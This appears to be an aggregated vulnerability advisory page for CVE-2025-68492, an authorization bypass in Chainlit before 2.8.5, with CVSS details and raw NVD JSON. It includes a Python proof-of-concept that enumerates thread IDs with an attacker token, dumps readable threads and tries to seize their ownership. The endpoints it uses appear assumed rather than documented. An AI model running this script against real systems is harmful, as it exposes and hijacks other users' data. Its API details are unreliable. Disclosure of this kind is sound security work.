Security Vulnerability Report
中文
CVE-2025-68492 CVSS 4.2 MEDIUM

CVE-2025-68492

Published: 2026-01-14 07:16:15
Last Modified: 2026-04-15 00:35:42

Description

Chainlit versions prior to 2.8.5 contain an authorization bypass through user-controlled key vulnerability. If this vulnerability is exploited, threads may be viewed or thread ownership may be obtained by an attacker who can log in to the product.

CVSS Details

CVSS Score
4.2
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Chainlit < 2.8.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68492 PoC - Chainlit Authorization Bypass # This PoC demonstrates accessing threads belonging to other users import requests import json TARGET_URL = "http://target-chainlit-app.com" ATTACKER_TOKEN = "attacker_auth_token_here" def exploit_thread_enumeration(): """ Exploit Chainlit authorization bypass by enumerating thread IDs """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Try to access threads with different IDs for thread_id in range(1, 1000): url = f"{TARGET_URL}/api/threads/{thread_id}" response = requests.get(url, headers=headers) if response.status_code == 200: thread_data = response.json() print(f"[!] Found accessible thread ID: {thread_id}") print(f"Thread data: {json.dumps(thread_data, indent=2)}") # Attempt to change thread ownership change_ownership(thread_id) elif response.status_code == 403: print(f"[-] Thread {thread_id}: Access denied") else: print(f"[*] Thread {thread_id}: Status {response.status_code}") def change_ownership(thread_id): """ Attempt to take ownership of a thread """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "userId": "attacker_user_id", "threadId": thread_id } url = f"{TARGET_URL}/api/threads/{thread_id}/ownership" response = requests.post(url, headers=headers, json=payload) if response.status_code == 200: print(f"[+] Successfully took ownership of thread {thread_id}") if __name__ == "__main__": print("CVE-2025-68492 - Chainlit Authorization Bypass PoC") print("Target: Chainlit < 2.8.5") exploit_thread_enumeration()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68492", "sourceIdentifier": "[email protected]", "published": "2026-01-14T07:16:14.627", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chainlit versions prior to 2.8.5 contain an authorization bypass through user-controlled key vulnerability. If this vulnerability is exploited, threads may be viewed or thread ownership may be obtained by an attacker who can log in to the product."}, {"lang": "es", "value": "Las versiones de Chainlit anteriores a la 2.8.5 contienen un bypass de autorización a través de una vulnerabilidad de clave controlada por el usuario. Si esta vulnerabilidad es explotada, los hilos pueden ser vistos o la propiedad de los hilos puede ser obtenida por un atacante que puede iniciar sesión en el producto."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/Chainlit/chainlit/releases", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN34964581/", "source": "[email protected]"}]}}